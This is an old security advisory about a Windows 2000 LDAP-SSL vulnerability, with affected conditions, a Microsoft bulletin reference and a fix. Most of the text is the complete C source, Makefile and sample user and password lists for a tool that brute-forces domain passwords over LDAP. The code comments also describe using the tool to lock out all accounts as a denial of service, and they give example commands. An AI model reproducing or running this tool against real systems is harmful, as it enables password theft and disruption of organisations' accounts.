COMMAND
LDAP
SYSTEMS AFFECTED
Win2k
PROBLEM
This one is important because the vulnerability could lead to a
compromised Domain Administrator account. Its unlikely, however,
that many of you are actually affected by this now. Only those
that are using LDAP-SSL on their DCs are actually vulnerable.
See:
http://support.microsoft.com/support/kb/articles/Q247/0/78.ASP
for the exact steps you must have taken to be considered
vulnerable. Briefly;
1. You're using W2K
2. You've installed an Enterprise Certificate Authority (and a
valid certificate) on a W2K Domain Controller
3. You've modified your domain policy to allow your DCs to use
certificate requests
LDAP-SSL is done over TCP636, so you could also check for traffic
on that port. Typically such traffic would not occur across the
Internet, so its unlikely that you're vulnerable to an outside
attack (but you should check your gateways anyway).
The LDAP service for Exchange Server 5.5 is not affected. NT 4.0
systems are also immune.
Eliel Sardanons dis this program to brute force Windows 2000
passwords using LDAP Service. This program let you choose if
you want the passwords to be automatically generated or use a
dictionary, and if you want to brute force a list of users or
just one.
You need the server name (example: www.microsoft.com) and the
domain name (example: microsoft.com), the domain name will be
translated to DC=Microsoft,DC=com by the program. The next version
will find the domain name automatically listing the directory
attributes.
The code(s):
-------[Makefile
# Brute Force W2K LDAP Makefile
# Coded and Backdored by Eliel C. Sardanons
CC = gcc -O2 -lldap -llber -lresolv
bf_ldap: bf_ldap.c
clean:
rm -f bf_ldap *~
--------[list
password1
password2
password3
mipass
mypassword
--------[user
Administrator
user1
user2
user3
--------[bf_ldap.c
/* Brute force Windows 2000 Passwords via LDAP
*
* Coded and backdored by Eliel Sardanons (eliel.sardanons@philips.edu.ar)
*
* I have found that we are able to brute force W2K passwords fast trying to
* log in to the LDAP service. Microsoft doesn't put any delay to this service
* so we can try a lot of times, but for the normal accounts there is a policy
* to block it in a number of fails attempts, so be careful.
* If an enterprise has the usernames in the form user1,user2,user3 and so on
* or you have a list of usernames, we can disable all the user accounts! if
* the policy that disable the accounts in a number of login fails is enabled.
* This can be consider a DoS. You just need to attempt to login with all the
* enterprise accounts example:
* [bash# ./bf_ldap -s server -d domain -U users_list -l 1]
* with this command it will try to login to all the enterprise accounts
* more than 100 times each and the accounts will be blocked.
* to compile the program type:
* [bash# make]
* example of how to use it:
* [bash# ./bf_ldap -s www.microsoft.com -d microsoft.com -u Administrator -l 8]
*
* What happen if the users are in a OU?
* If the users are in an Organizational Unit (OU) you must change
* the LDAP_USER_PATH with the '-P' option for example:
* [-P ",OU=MyUsers,"]
*
* What happen if I don't have the domain name?
* You can try finding it by your self using an LDAP browsing tool like
* 'saucer' (if you have saucer use the 'show' command) and you will find it
* in the form DC=microsoft,DC=com.
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <ldap.h>
#define AUTHOR_INFO "Eliel Sardanons <eliel.sardanons@philips.edu.ar>\n"
#define LDAP_FILTER "(&(objectClass=user)(samAccountName=*))"
#define LDAP_USER_PATH ",CN=Users,"
#define DEBUG_NO 0
#define DEBUG_YES 1
int count=0;
int debug=DEBUG_NO;
int user_list=0;
int found=0;
int usage (char *progname) {
printf (AUTHOR_INFO);
printf ("Usage:\n%s <parameters> <optional>\nparameters:\n\t-s server\n\t-d domain name\n\t-u|-U username | users list file name\n\t-L|-l passwords list | lenght of passwords to generate\noptional:\n\t-p port (default 389)\n\t-v (verbose mode)\n\t-P Ldap user path (default ,CN=Users,)\n", progname);
exit(-1);
}
char * parse_domain (char *domain) {
int first=0, len=0;
char *ptr, *output_domain, *tmp;
const char point[] = ".";
tmp = domain;
if (strlen(domain) >= 256)
lammer(0);
output_domain = (char *)malloc(512);
while ((ptr = strstr(tmp, point)) != NULL) {
if (first == 0) {
strcat (output_domain, "DC=");
strncat (output_domain, tmp, (ptr - tmp));
first = 1;
} else {
strncat (output_domain, ",DC=",
sizeof(output_domain)-strlen(output_domain));
if (sizeof(output_domain)-strlen(output_domain) <= (ptr - tmp))
lammer(2);
strncat (output_domain, tmp, (ptr - tmp));
}
tmp = tmp + (ptr - tmp) + 1;
}
strncat (output_domain, ",DC=",
sizeof(output_domain)-strlen(output_domain));
strncat (output_domain, tmp,
sizeof(output_domain)-strlen(output_domain));
return output_domain;
}
int try_pass (char *username, char *password, LDAP *ld) {
int error;
/* Try to log in */
error = ldap_simple_bind_s(ld, username, password);
if (debug == DEBUG_YES) {
printf ("Up to now: %d \r", count++);
fflush(stdout);
}
if (error != 49 && error != LDAP_SUCCESS) {
printf ("try_pass(): error: %s\n", ldap_err2string(error));
ldap_unbind(ld);
exit(-1);
} else if (!error) {
printf ("Password Found: %s\n", password);
found = 1;
if (user_list == 1)
return 0;
else
exit(0);
} else {
return -1;
}
}
int gen_pass (char *preview, int len, LDAP *ld, char *username) {
int i;
if (len == 0) {
if (try_pass(username, preview, ld) == 0)
return 0;
else
return 1;
} else {
for (i=65;i<=122;i++) {
preview[len-1] = i;
if (gen_pass(preview,len - 1, ld, username) == 0)
return 0;
}
}
return;
}
int lammer (int val) {
printf ("Don't try to find an overflow in : %d\n", val);
exit(-1);
}
int main (int argc, char *argv[]) {
LDAP *ld;
LDAPMessage *ret;
FILE *pass_list;
FILE *user_list_fd;
int error=0, pass_len=0, file_open=0, port=LDAP_PORT;
char username[256], tmp[256], user[256];
char server[256], domain[256], pass_list_name[256], opt, *password;
char filter[] = LDAP_FILTER;
char user_list_name[256];
char ldap_user_path[256];
password = (char *)malloc(256);
strncpy (ldap_user_path, LDAP_USER_PATH, sizeof(ldap_user_path));
if (argc <= 6)
usage(argv[0]);
while ((opt = getopt(argc, argv, "P:s:p:d:U:u:L:l:v")) != EOF) {
switch (opt) {
case 's':
strncpy (server, optarg, sizeof(server));
break;
case 'p':
port = atoi(optarg);
if (port <= 0 || port >= 65535)
lammer(3);
break;
case 'd':
strncpy (domain, parse_domain(optarg), sizeof(domain));
break;
case 'L':
strncpy (pass_list_name, optarg, sizeof(pass_list_name));
file_open = 1;
break;
case 'l':
if ((pass_len = atoi(optarg)) <= 0) {
printf ("-l option error\n");
exit(-1);
} else if (pass_len > 255)
lammer(4);
file_open = 0;
break;
case 'v':
debug=DEBUG_YES;
break;
case 'u':
strncpy (user, optarg, sizeof(user));
user_list = 0;
break;
case 'U':
strncpy (user_list_name, optarg, sizeof(user_list_name));
user_list = 1;
break;
case 'P':
strncpy (ldap_user_path, optarg, sizeof(ldap_user_path));
if (ldap_user_path[0] != ',' ||
ldap_user_path[strlen(ldap_user_path)-1] != ',') {
printf ("bad LDAP_USER_PATH read documentation in the source code\n");
exit(-1);
}
break;
default:
usage(argv[0]);
}
}
if (debug == DEBUG_YES)
printf (AUTHOR_INFO);
if ((ld = ldap_open(server, port)) == NULL) {
printf("ldap_open(): %s\n", strerror(errno));
exit (-1);
} else if (debug == DEBUG_YES)
printf ("Connected to: %s:%d\n", server, port);
snprintf (tmp, sizeof(tmp), "CN=Users,%s", domain);
if (debug == DEBUG_YES)
printf ("Checking Domain: -> ");
error = ldap_search_s(ld, tmp, LDAP_SCOPE_SUBTREE, filter, NULL, 0, &ret);
if (error != LDAP_SUCCESS) {
printf ("Domain ERROR\n");
ldap_memfree(ret);
exit(-1);
}
ldap_memfree(ret);
if (debug == DEBUG_YES)
printf ("Success\nStart brute force attack...\n");
if (!user_list) {
snprintf (username, sizeof(username), "CN=%s", user);
strncat (username, ldap_user_path, sizeof(username)-strlen(username));
strncat (username, domain, sizeof(username)-strlen(username));
}
if (!file_open) {
if (!user_list) {
printf ("Username: %s\n", user);
gen_pass(password, pass_len, ld, username);
printf ("\nNothing Found\n");
} else {
if ((user_list_fd = fopen (user_list_name, "r")) == NULL) {
printf("fopen(): ", strerror(errno));
exit(-1);
}
do {
if (fgets(username, 255, user_list_fd) == NULL) {
if (found == 0)
printf ("\nNothing found\n");
else
printf ("\nNothing more found\n");
ldap_unbind(ld);
exit(0);
} else {
username[strlen(username) - 1] = '\0';
snprintf (user, sizeof(user), "CN=%s", username);
strncat (user, ldap_user_path, sizeof(user)-strlen(user));
strncat (user, domain, sizeof(user)-strlen(user));
}
printf ("Username: %s\n", username);
gen_pass(password, pass_len, ld, user);
memset (username, 0, sizeof(username));
} while (1);
}
} else {
if ((pass_list = fopen (pass_list_name, "r")) == NULL) {
printf("fopen(): ", strerror(errno));
exit(-1);
}
if (user_list) {
if ((user_list_fd = fopen(user_list_name, "r")) == NULL) {
printf("fopen(): ", strerror(errno));
exit(-1);
}
do {
if (fgets(username, 255, user_list_fd) == NULL) {
if (found == 1)
printf ("\nNothing more Found\n");
else
printf ("\nNothing Found\n");
ldap_unbind(ld);
exit(0);
} else {
username[strlen(username) - 1] = '\0';
snprintf (user, sizeof(user), "CN=%s", username);
strncat (user, ldap_user_path, sizeof(user)-strlen(user));
strncat (user, domain, sizeof(user)-strlen(user));
}
printf ("\nUsername: %s\n", username);
do {
if (fgets(password, 255, pass_list) == NULL) {
if (fseek(pass_list, 0, SEEK_SET) < 0) {
printf ("fseek(): ", strerror(errno));
exit(-1);
}
break;
} else {
password[strlen(password) - 1] = '\0';
}
if (try_pass(user, password, ld) == 0) {
if (fseek(pass_list, 0, SEEK_SET) < 0) {
printf ("fseek(): ", strerror(errno));
exit(-1);
}
break;
}
} while (1);
} while (1);
} else {
printf ("Username: %s\n", user);
do {
if (fgets(password, 255, pass_list) == NULL) {
printf ("\nNothing Found\n");
exit(0);
} else
password[strlen(password) - 1] = '\0';
try_pass(username, password, ld);
} while (1);
}
}
exit(0);
}
SOLUTION
You're not vulnerable by default, as you can see you have to have
taken some pretty significant steps to configure your machine
into a vulnerable situation. Problem is, the actions above are
intended to make your box more secure, so vulnerable systems are
sensitive with critical data on them.
The full bulletin can be found at:
http://www.microsoft.com/technet/security/bulletin/MS01-036.asp
The fix will be included in W2K SP3 and does require a reboot
(nice new touch on the MS Security Bulletins).